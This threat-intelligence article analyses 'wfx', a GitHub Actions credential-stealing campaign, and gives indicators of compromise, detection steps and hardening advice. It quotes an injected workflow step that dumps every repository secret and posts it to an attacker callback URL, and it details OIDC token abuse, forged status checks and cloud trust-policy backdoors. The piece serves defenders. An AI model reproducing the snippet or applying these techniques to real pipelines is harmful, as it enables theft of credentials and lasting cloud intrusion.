Around 12:45 UTC on November 10, 2026, GitHub maintainers began finding pull requests nobody on their team had opened. The titles were identical across thousands of repositories, “docs: dependency audit notes”, and each added one innocuous markdown file from a branch called wfx-docs. When the activity tapered off around 15:00 UTC on November 11, GitHub search returned 61,839 of these pull requests across 61,764 repositories, opened with credentials from 4,837 compromised accounts. The pull requests were reconnaissance. Behind them sat a roughly 1,500-line shell script that harvests every credential a CI runner can reach, mints cloud sessions through GitHub’s own OIDC provider, forges the status checks that guard merge gates, and rewrites AWS and Azure trust configuration so the operator can return long after every stolen secret has been rotated.
Aikido disclosed the operation on November 12 and named the payload “wfx” after the prefix it uses in its own logs and variables. It has confirmed execution in at least 1,806 repositories, and all of them should be treated as having lost their credentials. This was not a supply-chain worm like Shai-Hulud. The operator wanted theft, not propagation, and the small amount of package contamination seen so far looks like a side effect of automated publishing. What makes the incident worth a close read is the post-exploitation chain. It treats the CI runner as an identity foothold into three cloud platforms, and it leaves behind access that survives the remediation most teams would perform first.
How 61,839 probe pull requests mapped GitHub Actions access
The campaign began with an inventory of stolen GitHub tokens, and the probe pull request was the tool for sorting it. Opening a branch and a pull request proves the token has write access. Watching whether the repository’s pull_request workflows fire then tells the operator whether attacker-controlled code will execute, and with what permissions.
GitHub treats same-repository branches differently from forks, and that difference is what the probe relied on. A pull request from a fork gets no secrets, and for first-time contributors it waits for maintainer approval before workflows run. A pull request from a branch inside the repository receives the full secrets context and runs under the repository’s normal trigger rules. The wfx probe branches lived inside the target repositories, so every workflow that fired on them ran with the repository’s real credentials.
Developers on the Linux.do forum who spotted the wave recorded the probe’s contents: a body reading “Routine dependency audit notes” and one added file, docs/wfx-audit.md. In nextcloud/circles, probe pull request #3152, opened from a wfx-docs branch, triggered the project’s Playwright Tests workflow, which completed successfully on November 11. That is a public, verifiable example of the signal the automation was filtering for.
The reach extended well past the accounts’ own projects. Of the 61,839 probes, 10,431 landed in repositories the compromised user did not own, reached through collaborator invitations or organization membership. When Aikido published, 92 percent of the pull requests were still open, which suggests most owners had not noticed anything.
Three delivery templates for the wfx payload
Once a repository passed the probe, the operator delivered the same script through one of three templates:
- The first appends about 1,500 lines to an existing workflow under the commit message
ci: refresh build cache. - The second, committed as
chore: add ci helper, drops a hidden.ci-xxxxxx.shfile and wires it intopackage.jsonas apostinstallhook. Anynpm installornpm cirun without--ignore-scriptsthen executes it inside a legitimate build step. - The third pushes a new workflow file,
.github/workflows/build-audit-xxxxxx.yml, onto a throwaway branch namedchore/plus eight random characters. Push-triggered workflows run on any branch that carries them unless filters say otherwise, so this achieves execution without touching main.
Then the automation cleans up. It reverts the change within at most a minute and deletes the workflow run along with its logs. GitHub does not reuse run numbers, so a gap in a workflow’s run_number sequence is often the only surviving scar. GitHub’s own incident-response guidance tells defenders to query the audit log for workflows.delete_workflow_run events for exactly this reason: deleted runs vanish from the UI.
Inside the wfx payload: a four-stage CI secrets stealer
The payload is a single, heavily commented, unobfuscated shell script with boolean configuration flags at the top that switch individual features on and off. The same file serves all three delivery variants, and its SHA-256 is 89695abb392d5cfd4972672961e644bb46baa98aa1ed7173c2a2816c762735cf. It reads like a maintained internal tool, which fits an operation built to run against tens of thousands of different targets without per-victim editing.
The injected workflow steps are deliberately boring:
📬 Stay Ahead of Cyber Threats
Get the latest cybersecurity news, critical vulnerabilities, threat intelligence, tutorials, and exclusive giveaways delivered straight to your inbox. No spam. Unsubscribe anytime.
yaml
- name: Pass runtime uses: actions/github-script@v7 ...- name: Restore cache j632 env: WF_CALLBACK: "http://194.150.166[.]244:8080/exfil" WF_CTOKEN: "b42d70a7aab9140ca19e8249" WF_SECRETS: "${{ toJSON(secrets) }}" WF_VARS: "${{ toJSON(vars) }}"
The env block shows the whole trick in miniature. Serializing the secrets and vars contexts with toJSON forces GitHub to decrypt every repository, organization, and environment secret available to that workflow and hand them to the step as plaintext environment variables before the script parses a single file. GitHub’s secret masking redacts registered values in log output, but it does nothing about a process reading its own environment. The step names mimic routine caching work, and the use of actions/github-script@v7, GitHub’s own widely used action, keeps the diff unremarkable to a reviewer skimming for unfamiliar third-party code.
From there the script runs four stages: collect, escalate, persist, exfiltrate.
Credential collection on GitHub Actions runners
Collection starts with the full runtime environment plus a filtered copy keyed to dozens of substrings, among them token, secret, pass, cred, aws, azure, gcp, openai, anthropic, and stripe. It also grabs the workflow’s GITHUB_TOKEN and the OIDC and Actions runtime tokens.
It then reads credential files from their conventional locations for AWS, Azure, GCP, Docker, Kubernetes, npm, PyPI, Git, SSH, GPG, Vault, and Terraform. It sweeps shell histories for bash, zsh, mysql, psql, python, and node. It also searches recursively under $HOME for every .env, .pem, .p12, .jks, .kdbx, and kubeconfig file a build might have staged.
A dedicated set of collectors targets AI provider and assistant credentials: OpenAI, Anthropic/Claude, Gemini, Hugging Face, Cursor, Copilot, Codex, Continue, Codeium, Aider, Weights & Biases, and Ollama. The list reads like a census of what teams have wired into pipelines over the past two years. The script also packages a repository snapshot, files matching an internal catalog of secret patterns, the last hundred commits, and recent workflow artifacts.
Process memory scraping and self-hosted runner theft
Two collection behaviors go beyond file scraping. First, the script reads the environment and memory of running processes, prioritizing Runner.Worker and Runner.Listener. These are the two .NET processes that execute job steps and maintain the runner’s connection to GitHub. On Linux, /proc/<pid>/environ and /proc/<pid>/mem are readable by the same user, so the script can carve out JWTs, GitHub PATs, AWS keys, and AI tokens that an earlier step used and then unset.
Second, on self-hosted runners it unlocks an extra tier. That includes cloud instance-metadata credentials from the underlying node, Docker container state, systemd units, and the runner’s RSA parameters, the .credentials_rsaparams key material a persistent runner generates at registration and uses to authenticate its session to GitHub.
The split is deliberate. GitHub-hosted runners are ephemeral VMs destroyed after each job. A self-hosted runner is often a long-lived instance inside a private network, carrying node-level cloud roles and the accumulated residue of every job it has ever run.
GitHub OIDC abuse: from runner identity to cloud intrusion
The escalation stage is where wfx stops being a secrets stealer and becomes a cloud intrusion. Any job with permissions: id-token: write can request a signed JWT from GitHub’s OIDC provider. It calls the URL in ACTIONS_ID_TOKEN_REQUEST_URL with the bearer token in ACTIONS_ID_TOKEN_REQUEST_TOKEN and an audience parameter, and the token asserts the repository, ref, and environment it came from.
No stored credential is involved. That is why the industry spent years migrating to OIDC, and it is also why code execution inside the job is now enough to mint cloud sessions. The script automates the exchange for AWS, GCP, and Azure audiences and trades the tokens for cloud access.
AWS: AssumeRoleWithWebIdentity and CreateAccessKey
On AWS, the script discovers role ARNs referenced in the repository, calls sts:AssumeRoleWithWebIdentity to obtain a session, and chains into further roles the first one may assume. It then calls iam:CreateAccessKey to mint long-lived access keys for IAM users. That last call moves the attacker from ephemeral to permanent access. An OIDC-derived session expires on its own, after an hour by default, but an IAM user access key created through it never expires.
GCP: service account impersonation without gcloud
On GCP, minimal CI images often lack gcloud or the google-auth library. The author embedded a dependency-free Python RSA implementation, so the script can sign its own OAuth2 JWT assertions from harvested service-account keys and exchange them at Google’s token endpoint using only a stock Python runtime. With tokens in hand it lists projects and service accounts, then calls generateAccessToken and signJwt to impersonate further service accounts.
Azure: Family of Client IDs refresh token abuse
Azure gets the most inventive handling. The script exchanges OIDC tokens or client secrets for management tokens and enumerates subscriptions and Key Vaults. It also abuses Microsoft’s Family of Client IDs mechanism. Certain first-party applications, including the Azure CLI (public client ID 04b07795-8ddb-461a-bbee-02f9e1bf7b46), share a token family. A refresh token issued to one member can be redeemed for tokens scoped to other members and resources without any new interactive authentication.
The script replays cached Azure CLI refresh tokens against first-party client IDs to obtain Microsoft Graph, Azure Resource Manager, and Key Vault tokens. Those tokens are the kind left in ~/.azure token caches by a forgotten az login on a self-hosted box or baked into a custom image. One stale cache file can therefore yield both infrastructure and directory reach.
Finally, the script replays its minted OIDC tokens against HashiCorp Vault endpoints and Kubernetes API servers found in kubeconfig files. Wherever those systems trust the tokens it holds, the blast radius extends into secret management and cluster control planes.
Persistence that survives secret rotation
Most CI stealers take what they can and exit. wfx plants three mechanisms meant to outlast the incident response.
Forged status checks that bypass merge protection
The first mechanism blinds the repository while the script is still running. Early in execution, before most collection, it posts forged success status checks against its own commit SHA, using the exact context names of the repository’s required checks. GitHub matches required status checks on the context string. Unless an administrator has pinned each check to a specific GitHub App (rulesets and branch protection offer an explicit source selector, with “any source” as the permissive option), any token with statuses: write can satisfy the gate by claiming the check passed. The default GITHUB_TOKEN carries that permission in repositories configured with permissive workflow defaults. The malicious commit can then wave itself through merge protection while it is still exfiltrating.
AWS trust policy backdoor with a wildcard principal
The other two mechanisms move persistence into cloud identity configuration. On AWS, the script rewrites the chained role’s trust policy to "Principal": {"AWS": "*"}. Absent restrictive conditions, that admits any principal in any AWS account. From then on the operator needs only an account they control and the role’s ARN, and your GitHub repository, your OIDC provider, and your rotated keys no longer matter.
Azure federated identity credential backdoor
On Azure, the script uses the Graph token to register new federated identity credentials, named with the prefix wfx-ci-, on Entra ID application objects, pointing back at the compromised repository. Federation trusts GitHub’s issuer and the subject claim cryptographically rather than any stored password. Any workflow in that repository matching the subject can keep authenticating to Azure after every client secret and repository secret has been rotated.
These are deliberate backdoors. They are the reason this incident cannot be closed with a secret-rotation ticket: the trust configuration itself has to be audited and repaired.
How wfx exfiltrates stolen secrets
Everything collected is packed into a gzipped tarball. The script carries seven delivery channels, and three of them route the archive through GitHub’s own infrastructure, a direct answer to enterprise egress filtering, since even locked-down runner networks almost always allow traffic to GitHub. It can store the tarball as an Actions cache entry retrievable later with a matching key. It can base64-encode archives under 700 KB into the workflow step summary between <!--WFX-BEGIN--> markers, invisible in rendered Markdown but easy to extract from the raw text. Or it can upload the archive as a workflow artifact named wfx-loot-<run id>.
The 700 KB cutoff is careful engineering. GitHub caps each step summary at 1 MiB, and base64 inflates data by roughly a third, so a 700 KB archive encodes to about 933 KB and still fits. The remaining channels are a direct HTTP POST to the callback server with increasing back-off, a secondary callback URL, an AES-encrypted copy committed back to the repository, and base32-encoded output written to the run log.
Indicators of compromise: what the deployed configuration reveals
The deployed configuration was narrower than the capability list, and the gap matters for defenders. In this wave the script sent data only by HTTP POST to 194.150.166[.]244:8080/exfil or 18.143.168[.]96:8080/exfil, with the campaign token b42d70a7aab9140ca19e8249 carried in WF_CTOKEN. The cache, summary, and artifact channels sit behind a private-repository flag that was switched off. The encrypted-commit fallback and run-log channel were disabled, and no secondary callback was set.
So the absence of wfx-loot artifacts, wfx- cache entries, or WFX-BEGIN summaries proves nothing about a public repository. Those channels never ran there, and the runs themselves were deleted. A missing run number on the attacker’s commit is the more reliable execution marker. The existence of a tested, purpose-built private-repository configuration also suggests the same payload is being deployed where public GitHub search cannot see it, which would mean the public counts understate the campaign’s true scope.
The GhostAction overlap: reused GitHub credentials
The stolen accounts were not fresh. Aikido found that accounts compromised in the October GhostAction wave were about a thousand times more likely than other active accounts to be abused in November. In more than a hundred repositories, the November automation injected its payload into the October workflow files and left the older exfiltration step in place.
GitGuardian tracked the October wave. It ran in bursts between October 8 and 12 against more than 30,000 repositories, using credentials from roughly 1,900 users. It tried to extract 3,174 secrets through workflows named security-audit.yml, audit.yml, and ci-check.yml, which grepped the working tree and full git history for credential patterns and posted the results to 193.32.204[.]199. Socket’s researchers tied the October 8 burst to compromised maintainer accounts pushing into projects including kitao/pyxel and uber/athenadriver. GitHub began preventing the malicious workflow from running on October 9, so the follow-up batches on October 10 and 12 extracted nothing.
The October activity also had a developer-machine component. A file at public/fonts/fa-solid-400.woff2 is JavaScript rather than a font, and a hidden VS Code task executes it when the folder is opened. It steals ~/.git-credentials, SSH keys, and npm, PyPI, AWS, and Claude credentials, and installs a cron job tagged #ghc2 that polls 193.32.204[.]199:8080 for commands.
Despite the shared victims, Aikido declines to attribute the two waves to one actor. The infrastructure, tooling, and tradecraft differ, and stolen credentials routinely circulate among several operators. GitGuardian documented the same dynamic from the other direction: thirteen GhostAction victim repositories were also exploited by at least four unrelated cryptomining campaigns, sometimes months apart.
For responders, this is uncomfortable. An organization that cleaned up GhostAction in October by deleting the workflow and rotating the exposed secrets may have left the underlying GitHub credential valid. The November wave shows what a second operator does with it: rewritten trust policies and federated backdoors that the October cleanup never looked for, instead of another secret dump.
Supply chain spillover into Packagist and Go packages
At least fifty of the compromised accounts belong to maintainers who publish to npm, Go, Packagist, PyPI, or crates.io. Where repositories had automated publishing wired to pushes or tags, the payload rode along into released artifacts. Two confirmed cases show how differently ecosystems absorb the same mistake.
The Packagist package digitalelvis/neuronai-studio shipped the payload in version 3.14.3. Aikido’s guidance is to treat any machine that installed or opened that version as compromised.
The Go module github.com/onuragtas/docker-env carried the payload in tags v1.0.278 and v1.0.280, but only inside a GitHub Actions workflow file. The Go source and release binaries were unchanged. The Go toolchain distributes modules as source archives, which do include the workflow YAML, but it never parses or executes workflow files during go get or go build, so consumers of those versions likely never ran anything. Removal is still the right call. The npm postinstall template makes the contrast clear: had it reached a published npm package with its hook intact, every downstream install would have executed the script.
How to detect and respond to the wfx campaign
Hunt for repository indicators first
Start with repository metadata, not the Actions tab. Search every repository your people can write to for:
- a
wfx-docsbranch - branches matching
chore/[a-z0-9]{8}orci-check-[0-9]{4} - the probe pull request title
- commits titled
ci: refresh build cache,ci: restore,chore: add ci helper,ci: cleanup, orchore: add dependency audit workflow - stray
.ci-*.shfiles and unexplainedpostinstallentries inpackage.json
The probe’s presence alone establishes that the account is compromised, even if no workflow ran.
To find executions, enumerate runs through the REST API and look for gaps in each workflow’s run_number sequence around November 10 and 11. Pull organization or enterprise audit logs for workflows.delete_workflow_run and for pushes from unfamiliar addresses, and check reflogs and dangling commits in local clones. Where the payload ran, assume every secret and cloud role reachable from that workflow is gone and rotate accordingly. Rotation is the beginning of the response, though, and the cloud audit comes next.
Audit AWS, Entra ID, GCP, Vault, and Kubernetes trust
The cloud-side audit is where most teams will find the durable damage.
- AWS: In CloudTrail, look for
AssumeRoleWithWebIdentityfollowed byCreateAccessKeyorUpdateAssumeRolePolicyfrom CI roles. Sweep every role’s trust policy for wildcard AWS principals without restrictive conditions. - Entra ID: Enumerate federated identity credentials on application registrations, looking for names beginning
wfx-ci-or issuers and subjects pointing at repositories you do not recognize. Review non-interactive sign-in logs for refresh-token redemptions from runner infrastructure. - GCP: Review IAM Credentials API activity, specifically
generateAccessTokenandsignJwtcalls by CI service accounts impersonating peers. - Vault and Kubernetes: Check audit logs for OIDC logins that do not match legitimate workloads.
Any self-hosted runner that executed the payload should be unregistered and rebuilt, not cleaned. Its registration RSA material, local Docker state, and node-level cloud credentials were all in scope for collection, and the instance role attached to the host needs rotation too. Machines exposed to the October component also need checks for the fake font file, hidden .vscode/tasks.json entries, and crontabs tagged #ghc2.
Hardening GitHub Actions and cloud OIDC trust
The hardening agenda follows directly from the mechanics of the attack.
- Set the default
GITHUB_TOKENto read-only. Grant write scopes,statuses: writeincluded, only to the jobs that need them. - Pin every required status check to the specific GitHub App that should produce it, instead of leaving the source as “any source”.
- Tighten OIDC trust conditions on the cloud side. A subject filter of
repo:org/repo:*lets a throwawaychore/branch assume the same role as main, so bind trust to protected refs or, better, to GitHub Environments with required reviewers. - Strip identity-administration permissions (
iam:UpdateAssumeRolePolicy,iam:CreateAccessKey, Graph application-write rights) out of deployment roles. A build job has no business rewriting the rules that govern its own authentication. - Run
npm ciwith--ignore-scriptswhere feasible. - Prefer ephemeral self-hosted runners and keep interactive cloud logins off build hosts.
- Alert on outbound traffic from runners to raw IP addresses on port 8080.
What wfx shows about CI/CD trust
wfx did not break GitHub’s security model. It operated inside the model’s documented allowances. OIDC removed stored keys but lets any code in the job mint sessions. Masking protects logs and leaves the environment readable. Branch protection enforces check names but, unpinned, ignores who authored the check. Each behavior is known, documented, and survivable on its own. The campaign chained them at scale and then put its persistence in the one place rotation cannot reach.
If your CI ran this script, the stolen secrets are the smaller problem. Audit what your cloud trusts, and why.
Sources and further reading
- Aikido: Disclosure of the wfx campaign
- GitGuardian: GhostAction timeline
- The Hacker News: Socket’s October findings
- Linux.do: Community thread on the probe pull requests
- GitHub: nextcloud/circles probe example
- GitHub Docs: Incident investigation tools, Ruleset status-check sources, Job summary limits
- actions/runner credential documentation
- Secureworks: Family of Client IDs research









